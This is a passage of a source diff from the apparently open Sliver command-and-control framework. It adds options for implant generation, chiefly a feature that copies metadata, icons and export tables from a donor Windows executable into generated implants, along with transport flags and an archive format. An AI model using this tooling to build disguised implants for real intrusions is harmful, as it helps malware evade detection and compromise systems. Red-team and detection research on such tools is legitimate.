|
||||||
// exports if its a shared library
|
// exports if its a shared library
|
||||||
|
|
||||||
config := &clientpb.ImplantConfig{
|
config := &clientpb.ImplantConfig{
|
||||||
@@ -513,11 +549,327 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
|||||||
DebugFile: debugFile,
|
DebugFile: debugFile,
|
||||||
HTTPC2ConfigName: c2Profile,
|
HTTPC2ConfigName: c2Profile,
|
||||||
ShellcodeConfig: shellcodeConfig,
|
ShellcodeConfig: shellcodeConfig,
|
||||||
|
|
||||||
|
IncludeMTLS: includeMTLS,
|
||||||
|
IncludeHTTP: includeHTTP,
|
||||||
|
IncludeWG: includeWG,
|
||||||
|
IncludeDNS: includeDNS,
|
||||||
|
IncludeNamePipe: includeNamedPipe,
|
||||||
|
IncludeTCP: includeTCP,
|
||||||
}
|
}
|
||||||
|
|
||||||
return name, config
|
return name, config
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func parseSpoofMetadataFlag(cmd *cobra.Command, config *clientpb.ImplantConfig) (*clientpb.SpoofMetadataConfig, error) {
|
||||||
|
if cmd == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
spoofMetadataFlag := cmd.Flags().Lookup(spoofMetadataFlagName)
|
||||||
|
if spoofMetadataFlag == nil || !spoofMetadataFlag.Changed {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
spoofMetadataValue := ""
|
||||||
|
if spoofMetadataFlag.Value != nil {
|
||||||
|
spoofMetadataValue = strings.TrimSpace(spoofMetadataFlag.Value.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
switch strings.ToLower(spoofMetadataValue) {
|
||||||
|
case "false":
|
||||||
|
if len(cmd.Flags().Args()) > 0 {
|
||||||
|
return nil, fmt.Errorf("--%s=false does not accept a donor path argument", spoofMetadataFlagName)
|
||||||
|
}
|
||||||
|
return nil, nil
|
||||||
|
case "", "true":
|
||||||
|
pathArg, err := spoofMetadataPathArg(cmd)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if pathArg == "" {
|
||||||
|
return parseSpoofMetadataFromConfigFile()
|
||||||
|
}
|
||||||
|
return parseSpoofMetadataFromPath(pathArg, config)
|
||||||
|
default:
|
||||||
|
if len(cmd.Flags().Args()) > 0 {
|
||||||
|
return nil, fmt.Errorf("--%s accepts a donor path from either the flag value or positional argument, not both", spoofMetadataFlagName)
|
||||||
|
}
|
||||||
|
return parseSpoofMetadataFromPath(spoofMetadataValue, config)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func spoofMetadataPathArg(cmd *cobra.Command) (string, error) {
|
||||||
|
if cmd == nil {
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
switch args := cmd.Flags().Args(); len(args) {
|
||||||
|
case 0:
|
||||||
|
return "", nil
|
||||||
|
case 1:
|
||||||
|
return strings.TrimSpace(args[0]), nil
|
||||||
|
default:
|
||||||
|
return "", fmt.Errorf("--%s accepts at most one donor path argument", spoofMetadataFlagName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseSpoofMetadataFromConfigFile() (*clientpb.SpoofMetadataConfig, error) {
|
||||||
|
configPath := assets.SpoofMetadataConfigPath()
|
||||||
|
config, err := assets.LoadSpoofMetadataConfig()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to load spoof metadata config %s: %w", configPath, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
spoofMetadata, err := spoofMetadataConfigToProtobuf(config)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("invalid spoof metadata config %s: %w", configPath, err)
|
||||||
|
}
|
||||||
|
return spoofMetadata, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseSpoofMetadataFromPath(pathValue string, config *clientpb.ImplantConfig) (*clientpb.SpoofMetadataConfig, error) {
|
||||||
|
if config == nil {
|
||||||
|
return nil, errors.New("missing implant configuration for spoof metadata validation")
|
||||||
|
}
|
||||||
|
pathValue = expandPath(pathValue)
|
||||||
|
sourceData, err := os.ReadFile(pathValue)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to read spoof metadata source path %s: %w", pathValue, err)
|
||||||
|
}
|
||||||
|
if err := validateSpoofMetadataSourceForTarget(config, pathValue, sourceData); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return &clientpb.SpoofMetadataConfig{
|
||||||
|
PE: &clientpb.PESpoofMetadataConfig{
|
||||||
|
Source: &clientpb.SpoofMetadataFile{
|
||||||
|
Name: filepath.Base(pathValue),
|
||||||
|
Data: sourceData,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func validateSpoofMetadataSourceForTarget(config *clientpb.ImplantConfig, sourcePath string, sourceData []byte) error {
|
||||||
|
if config == nil {
|
||||||
|
return errors.New("missing implant configuration for spoof metadata validation")
|
||||||
|
}
|
||||||
|
if strings.ToLower(config.GetGOOS()) != "windows" {
|
||||||
|
return fmt.Errorf("--%s path source currently supports only windows PE targets (got %s/%s)", spoofMetadataFlagName, config.GetGOOS(), config.GetGOARCH())
|
||||||
|
}
|
||||||
|
switch config.GetFormat() {
|
||||||
|
case clientpb.OutputFormat_EXECUTABLE, clientpb.OutputFormat_SERVICE, clientpb.OutputFormat_SHARED_LIB:
|
||||||
|
default:
|
||||||
|
return fmt.Errorf("--%s path source requires an executable/service/shared target format (got %s)", spoofMetadataFlagName, nameOfOutputFormat(config.GetFormat()))
|
||||||
|
}
|
||||||
|
|
||||||
|
peFile, err := pe.NewFile(bytes.NewReader(sourceData))
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("spoof metadata source %s is not a valid PE: %w", sourcePath, err)
|
||||||
|
}
|
||||||
|
defer peFile.Close()
|
||||||
|
|
||||||
|
expectedMachine, err := expectedPEMachineForGoArch(config.GetGOARCH())
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if peFile.FileHeader.Machine != expectedMachine {
|
||||||
|
return fmt.Errorf(
|
||||||
|
"spoof metadata source %s has machine %s, expected %s for target arch %s",
|
||||||
|
sourcePath,
|
||||||
|
peMachineName(peFile.FileHeader.Machine),
|
||||||
|
peMachineName(expectedMachine),
|
||||||
|
config.GetGOARCH(),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
isDLL := peFile.FileHeader.Characteristics&imageFileDLLCharacteristic != 0
|
||||||
|
if config.GetFormat() == clientpb.OutputFormat_SHARED_LIB && !isDLL {
|
||||||
|
return fmt.Errorf("spoof metadata source %s must be a DLL for shared target format", sourcePath)
|
||||||
|
}
|
||||||
|
if (config.GetFormat() == clientpb.OutputFormat_EXECUTABLE || config.GetFormat() == clientpb.OutputFormat_SERVICE) && isDLL {
|
||||||
|
return fmt.Errorf("spoof metadata source %s appears to be a DLL but target format is %s", sourcePath, nameOfOutputFormat(config.GetFormat()))
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func expectedPEMachineForGoArch(goarch string) (uint16, error) {
|
||||||
|
switch strings.ToLower(strings.TrimSpace(goarch)) {
|
||||||
|
case "amd64", "x64":
|
||||||
|
return pe.IMAGE_FILE_MACHINE_AMD64, nil
|
||||||
|
case "386", "x86", "i386":
|
||||||
|
return pe.IMAGE_FILE_MACHINE_I386, nil
|
||||||
|
case "arm64", "aarch64":
|
||||||
|
return pe.IMAGE_FILE_MACHINE_ARM64, nil
|
||||||
|
default:
|
||||||
|
return 0, fmt.Errorf("unsupported windows architecture for spoof metadata source validation: %s", goarch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func peMachineName(machine uint16) string {
|
||||||
|
switch machine {
|
||||||
|
case pe.IMAGE_FILE_MACHINE_AMD64:
|
||||||
|
return "amd64"
|
||||||
|
case pe.IMAGE_FILE_MACHINE_I386:
|
||||||
|
return "386"
|
||||||
|
case pe.IMAGE_FILE_MACHINE_ARM64:
|
||||||
|
return "arm64"
|
||||||
|
default:
|
||||||
|
return fmt.Sprintf("0x%x", machine)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func spoofMetadataConfigToProtobuf(config *assets.SpoofMetadataConfig) (*clientpb.SpoofMetadataConfig, error) {
|
||||||
|
if config == nil {
|
||||||
|
return nil, errors.New("missing spoof metadata configuration")
|
||||||
|
}
|
||||||
|
|
||||||
|
spoofMetadata := &clientpb.SpoofMetadataConfig{}
|
||||||
|
if config.PE != nil {
|
||||||
|
source, err := resolveSpoofMetadataDataSource("pe.source", config.PE.Source)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
icon, err := resolveSpoofMetadataDataSource("pe.icon", config.PE.Icon)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
spoofMetadata.PE = &clientpb.PESpoofMetadataConfig{
|
||||||
|
Source: source,
|
||||||
|
Icon: icon,
|
||||||
|
ResourceDirectory: imageResourceDirectoryToProtobuf(config.PE.ResourceDirectory),
|
||||||
|
ResourceDirectoryEntries: imageResourceDirectoryEntriesToProtobuf(config.PE.ResourceDirectoryEntries),
|
||||||
|
ResourceDataEntries: imageResourceDataEntriesToProtobuf(config.PE.ResourceDataEntries),
|
||||||
|
ExportDirectory: imageExportDirectoryToProtobuf(config.PE.ExportDirectory),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if spoofMetadata.GetPE() == nil {
|
||||||
|
return nil, errors.New("no supported executable metadata configuration found")
|
||||||
|
}
|
||||||
|
if spoofMetadata.GetPE().GetSource() == nil || len(spoofMetadata.GetPE().GetSource().GetData()) == 0 {
|
||||||
|
return nil, errors.New("pe.source requires either path or base64 content")
|
||||||
|
}
|
||||||
|
|
||||||
|
return spoofMetadata, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func resolveSpoofMetadataDataSource(name string, source *assets.SpoofMetadataDataSource) (*clientpb.SpoofMetadataFile, error) {
|
||||||
|
if source == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
pathValue := strings.TrimSpace(source.Path)
|
||||||
|
base64Value := strings.TrimSpace(source.Base64)
|
||||||
|
|
||||||
|
if pathValue != "" && base64Value != "" {
|
||||||
|
return nil, fmt.Errorf("%s cannot set both path and base64", name)
|
||||||
|
}
|
||||||
|
if pathValue == "" && base64Value == "" {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
data []byte
|
||||||
|
err error
|
||||||
|
)
|
||||||
|
fileName := strings.TrimSpace(source.Name)
|
||||||
|
if pathValue != "" {
|
||||||
|
pathValue = expandPath(pathValue)
|
||||||
|
data, err = os.ReadFile(pathValue)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("%s failed to read path %s: %w", name, pathValue, err)
|
||||||
|
}
|
||||||
|
if fileName == "" {
|
||||||
|
fileName = filepath.Base(pathValue)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
data, err = base64.StdEncoding.DecodeString(base64Value)
|
||||||
|
if err != nil {
|
||||||
|
data, err = base64.RawStdEncoding.DecodeString(base64Value)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("%s has invalid base64 data: %w", name, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if fileName == "" {
|
||||||
|
fileName = "inline-data"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &clientpb.SpoofMetadataFile{
|
||||||
|
Name: fileName,
|
||||||
|
Data: data,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func imageResourceDirectoryToProtobuf(src *assets.ImageResourceDirectory) *clientpb.IMAGE_RESOURCE_DIRECTORY {
|
||||||
|
if src == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return &clientpb.IMAGE_RESOURCE_DIRECTORY{
|
||||||
|
Characteristics: src.Characteristics,
|
||||||
|
TimeDateStamp: src.TimeDateStamp,
|
||||||
|
MajorVersion: src.MajorVersion,
|
||||||
|
MinorVersion: src.MinorVersion,
|
||||||
|
NumberOfNamedEntries: src.NumberOfNamedEntries,
|
||||||
|
NumberOfIdEntries: src.NumberOfIDEntries,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func imageResourceDirectoryEntriesToProtobuf(src []*assets.ImageResourceDirectoryEntry) []*clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY {
|
||||||
|
if len(src) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := make([]*clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY, 0, len(src))
|
||||||
|
for _, entry := range src {
|
||||||
|
if entry == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, &clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY{
|
||||||
|
Name: entry.Name,
|
||||||
|
OffsetToData: entry.OffsetToData,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func imageResourceDataEntriesToProtobuf(src []*assets.ImageResourceDataEntry) []*clientpb.IMAGE_RESOURCE_DATA_ENTRY {
|
||||||
|
if len(src) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := make([]*clientpb.IMAGE_RESOURCE_DATA_ENTRY, 0, len(src))
|
||||||
|
for _, entry := range src {
|
||||||
|
if entry == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, &clientpb.IMAGE_RESOURCE_DATA_ENTRY{
|
||||||
|
OffsetToData: entry.OffsetToData,
|
||||||
|
Size: entry.Size,
|
||||||
|
CodePage: entry.CodePage,
|
||||||
|
Reserved: entry.Reserved,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func imageExportDirectoryToProtobuf(src *assets.ImageExportDirectory) *clientpb.IMAGE_EXPORT_DIRECTORY {
|
||||||
|
if src == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return &clientpb.IMAGE_EXPORT_DIRECTORY{
|
||||||
|
Characteristics: src.Characteristics,
|
||||||
|
TimeDateStamp: src.TimeDateStamp,
|
||||||
|
MajorVersion: src.MajorVersion,
|
||||||
|
MinorVersion: src.MinorVersion,
|
||||||
|
Name: src.Name,
|
||||||
|
Base: src.Base,
|
||||||
|
NumberOfFunctions: src.NumberOfFunctions,
|
||||||
|
NumberOfNames: src.NumberOfNames,
|
||||||
|
AddressOfFunctions: src.AddressOfFunctions,
|
||||||
|
AddressOfNames: src.AddressOfNames,
|
||||||
|
AddressOfNameOrdinals: src.AddressOfNameOrdinals,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
|
func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
|
||||||
// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
|
// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
|
||||||
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
|
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
|
||||||
@@ -820,9 +1172,7 @@ func getTargets(targetOS string, targetArch string, con *console.SliverClient) (
|
|||||||
|
|
||||||
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
|
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
|
||||||
if _, ok := SupportedCompilerTargets[target]; !ok {
|
if _, ok := SupportedCompilerTargets[target]; !ok {
|
||||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
|
con.Printf("⚠️ Unsupported compiler target %s, but we can try to compile a generic implant.\n", console.StyleBold.Render(target))
|
||||||
console.Bold, target, console.Normal,
|
|
||||||
)
|
|
||||||
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
|
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
|
||||||
var confirm bool
|
var confirm bool
|
||||||
_ = forms.Confirm("Attempt to build generic implant?", &confirm)
|
_ = forms.Confirm("Attempt to build generic implant?", &confirm)
|
||||||
@@ -1148,7 +1498,150 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
|||||||
return c2s, nil
|
return c2s, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
func applySpoofMetadataToBuild(implantBuildID string, implantName string, spoofMetadata *clientpb.SpoofMetadataConfig, con *console.SliverClient) error {
|
||||||
|
if spoofMetadata == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
req := &clientpb.GenerateSpoofMetadataReq{
|
||||||
|
SpoofMetadata: spoofMetadata,
|
||||||
|
}
|
||||||
|
if buildID := strings.TrimSpace(implantBuildID); buildID != "" {
|
||||||
|
req.ImplantBuildID = buildID
|
||||||
|
} else if buildName := strings.TrimSpace(implantName); buildName != "" {
|
||||||
|
req.ImplantName = buildName
|
||||||
|
}
|
||||||
|
|
||||||
|
if req.GetImplantBuildID() == "" && req.GetImplantName() == "" {
|
||||||
|
return errors.New("unable to determine build selector for spoof metadata")
|
||||||
|
}
|
||||||
|
|
||||||
|
printSpoofMetadataSummary(spoofMetadata, con)
|
||||||
|
con.PrintInfof("Applying spoof metadata to %s ... ", spoofMetadataBuildSelectorDescription(req))
|
||||||
|
_, err := con.Rpc.GenerateSpoofMetadata(context.Background(), req)
|
||||||
|
if err != nil {
|
||||||
|
con.Printf("failed\n")
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
con.Printf("done\n")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func printSpoofMetadataSummary(spoofMetadata *clientpb.SpoofMetadataConfig, con *console.SliverClient) {
|
||||||
|
if spoofMetadata == nil || con == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
peMetadata := spoofMetadata.GetPE()
|
||||||
|
if peMetadata == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
sourceName := "<unset>"
|
||||||
|
sourceSize := 0
|
||||||
|
if source := peMetadata.GetSource(); source != nil {
|
||||||
|
sourceName = strings.TrimSpace(source.GetName())
|
||||||
|
if sourceName == "" {
|
||||||
|
sourceName = "inline-data"
|
||||||
|
}
|
||||||
|
sourceSize = len(source.GetData())
|
||||||
|
}
|
||||||
|
|
||||||
|
iconSummary := "none"
|
||||||
|
if icon := peMetadata.GetIcon(); icon != nil && len(icon.GetData()) > 0 {
|
||||||
|
iconName := strings.TrimSpace(icon.GetName())
|
||||||
|
if iconName == "" {
|
||||||
|
iconName = "inline-data"
|
||||||
|
}
|
||||||
|
iconSummary = fmt.Sprintf("%s (%d bytes)", iconName, len(icon.GetData()))
|
||||||
|
}
|
||||||
|
|
||||||
|
overrideLabels := []string{}
|
||||||
|
if peMetadata.GetResourceDirectory() != nil {
|
||||||
|
overrideLabels = append(overrideLabels, "resource-directory")
|
||||||
|
}
|
||||||
|
if len(peMetadata.GetResourceDirectoryEntries()) > 0 {
|
||||||
|
overrideLabels = append(overrideLabels, fmt.Sprintf("resource-entries(%d)", len(peMetadata.GetResourceDirectoryEntries())))
|
||||||
|
}
|
||||||
|
if len(peMetadata.GetResourceDataEntries()) > 0 {
|
||||||
|
overrideLabels = append(overrideLabels, fmt.Sprintf("resource-data-entries(%d)", len(peMetadata.GetResourceDataEntries())))
|
||||||
|
}
|
||||||
|
if peMetadata.GetExportDirectory() != nil {
|
||||||
|
overrideLabels = append(overrideLabels, "export-directory")
|
||||||
|
}
|
||||||
|
overridesSummary := "none"
|
||||||
|
if len(overrideLabels) > 0 {
|
||||||
|
overridesSummary = strings.Join(overrideLabels, ", ")
|
||||||
|
}
|
||||||
|
|
||||||
|
con.PrintInfof("%s\n", console.StyleBold.Render("Spoof Metadata Details:"))
|
||||||
|
con.PrintInfof(" Source: %s (%d bytes)\n", sourceName, sourceSize)
|
||||||
|
con.PrintInfof(" Icon: %s\n", iconSummary)
|
||||||
|
con.PrintInfof(" Overrides: %s\n", overridesSummary)
|
||||||
|
}
|
||||||
|
|
||||||
|
func spoofMetadataBuildSelectorDescription(req *clientpb.GenerateSpoofMetadataReq) string {
|
||||||
|
if req == nil {
|
||||||
|
return "build"
|
||||||
|
}
|
||||||
|
if buildID := strings.TrimSpace(req.GetImplantBuildID()); buildID != "" {
|
||||||
|
return fmt.Sprintf("build id %s", buildID)
|
||||||
|
}
|
||||||
|
if buildName := strings.TrimSpace(req.GetImplantName()); buildName != "" {
|
||||||
|
return fmt.Sprintf("build name %s", buildName)
|
||||||
|
}
|
||||||
|
return "build"
|
||||||
|
}
|
||||||
|
|
||||||
|
func requiresWindowsExecutableSuffix(config *clientpb.ImplantConfig) bool {
|
||||||
|
if config == nil || !strings.EqualFold(config.GetGOOS(), "windows") {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
switch config.GetFormat() {
|
||||||
|
case clientpb.OutputFormat_EXECUTABLE, clientpb.OutputFormat_SERVICE:
|
||||||
|
return true
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func ensureOutputPathSuffix(pathValue string, config *clientpb.ImplantConfig) string {
|
||||||
|
if pathValue == "" || !requiresWindowsExecutableSuffix(config) {
|
||||||
|
return pathValue
|
||||||
|
}
|
||||||
|
if strings.HasSuffix(strings.ToLower(pathValue), ".exe") {
|
||||||
|
return pathValue
|
||||||
|
}
|
||||||
|
return pathValue + ".exe"
|
||||||
|
}
|
||||||
|
|
||||||
|
func outputSavePath(save string, defaultName string, config *clientpb.ImplantConfig, con *console.SliverClient) (string, error) {
|
||||||
|
defaultName = ensureOutputPathSuffix(defaultName, config)
|
||||||
|
saveTo, err := saveLocation(save, defaultName, con)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
adjustedPath := ensureOutputPathSuffix(saveTo, config)
|
||||||
|
if adjustedPath == saveTo {
|
||||||
|
return saveTo, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if info, err := os.Stat(adjustedPath); err == nil && !info.IsDir() {
|
||||||
|
var confirm bool
|
||||||
|
_ = forms.Confirm("Overwrite existing file?", &confirm)
|
||||||
|
if !confirm {
|
||||||
|
return "", errors.New("file already exists")
|
||||||
|
}
|
||||||
|
} else if err != nil && !os.IsNotExist(err) {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
if con != nil {
|
||||||
|
con.PrintInfof("Adjusted output filename to %s for Windows executable format\n", adjustedPath)
|
||||||
|
}
|
||||||
|
return adjustedPath, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func externalBuild(name string, config *clientpb.ImplantConfig, spoofMetadata *clientpb.SpoofMetadataConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
||||||
potentialBuilders, err := findExternalBuilders(config, con)
|
potentialBuilders, err := findExternalBuilders(config, con)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -1172,9 +1665,9 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
|||||||
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||||
}
|
}
|
||||||
if config.ObfuscateSymbols {
|
if config.ObfuscateSymbols {
|
||||||
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
|
con.PrintInfof("%s\n", console.StyleBold.Render("Symbol obfuscation is enabled"))
|
||||||
} else if !config.Debug {
|
} else if !config.Debug {
|
||||||
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
|
con.PrintErrorf("Symbol obfuscation is %s\n", console.StyleBold.Render("disabled"))
|
||||||
}
|
}
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
|
|
||||||
@@ -1248,6 +1741,12 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
|||||||
elapsed := time.Since(start)
|
elapsed := time.Since(start)
|
||||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||||
|
|
||||||
|
if spoofMetadata != nil {
|
||||||
|
if err := applySpoofMetadataToBuild("", name, spoofMetadata, con); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||||
ImplantName: name,
|
ImplantName: name,
|
||||||
})
|
})
|
||||||
@@ -1302,7 +1801,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
|
saveTo, err := outputSavePath(save, filepath.Base(generated.File.Name), config, con)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -1317,7 +1816,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
|||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func compile(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
func compile(name string, config *clientpb.ImplantConfig, spoofMetadata *clientpb.SpoofMetadataConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
||||||
if config.IsBeacon {
|
if config.IsBeacon {
|
||||||
interval := time.Duration(config.BeaconInterval)
|
interval := time.Duration(config.BeaconInterval)
|
||||||
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||||
@@ -1325,9 +1824,9 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
|
|||||||
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||||
}
|
}
|
||||||
if config.ObfuscateSymbols {
|
if config.ObfuscateSymbols {
|
||||||
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
|
con.PrintInfof("%s\n", console.StyleBold.Render("Symbol obfuscation is enabled"))
|
||||||
} else if !config.Debug {
|
} else if !config.Debug {
|
||||||
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
|
con.PrintErrorf("Symbol obfuscation is %s\n", console.StyleBold.Render("disabled"))
|
||||||
}
|
}
|
||||||
|
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
@@ -1345,6 +1844,25 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
|
|||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if spoofMetadata != nil {
|
||||||
|
if err := applySpoofMetadataToBuild(generated.GetImplantBuildID(), generated.GetImplantName(), spoofMetadata, con); err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
implantName := generated.GetImplantName()
|
||||||
|
if implantName == "" {
|
||||||
|
implantName = name
|
||||||
|
}
|
||||||
|
generated, err = con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||||
|
ImplantName: implantName,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
elapsed := time.Since(start)
|
elapsed := time.Since(start)
|
||||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||||
if len(generated.File.Data) == 0 {
|
if len(generated.File.Data) == 0 {
|
||||||
@@ -1401,7 +1919,7 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
saveTo, err := saveLocation(save, generated.File.Name, con)
|
saveTo, err := outputSavePath(save, generated.File.Name, config, con)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -197,7 +197,7 @@ func OSCompleter(con *console.SliverClient) carapace.Action {
|
|||||||
func FormatCompleter() carapace.Action {
|
func FormatCompleter() carapace.Action {
|
||||||
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
|
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
|
||||||
return carapace.ActionValues([]string{
|
return carapace.ActionValues([]string{
|
||||||
"exe", "shared", "service", "shellcode",
|
"exe", "shared", "archive", "service", "shellcode",
|
||||||
}...).Tag("implant format")
|
}...).Tag("implant format")
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,13 @@
|
|||||||
|
package generate
|
||||||
|
|
||||||
|
import (
|
||||||
|
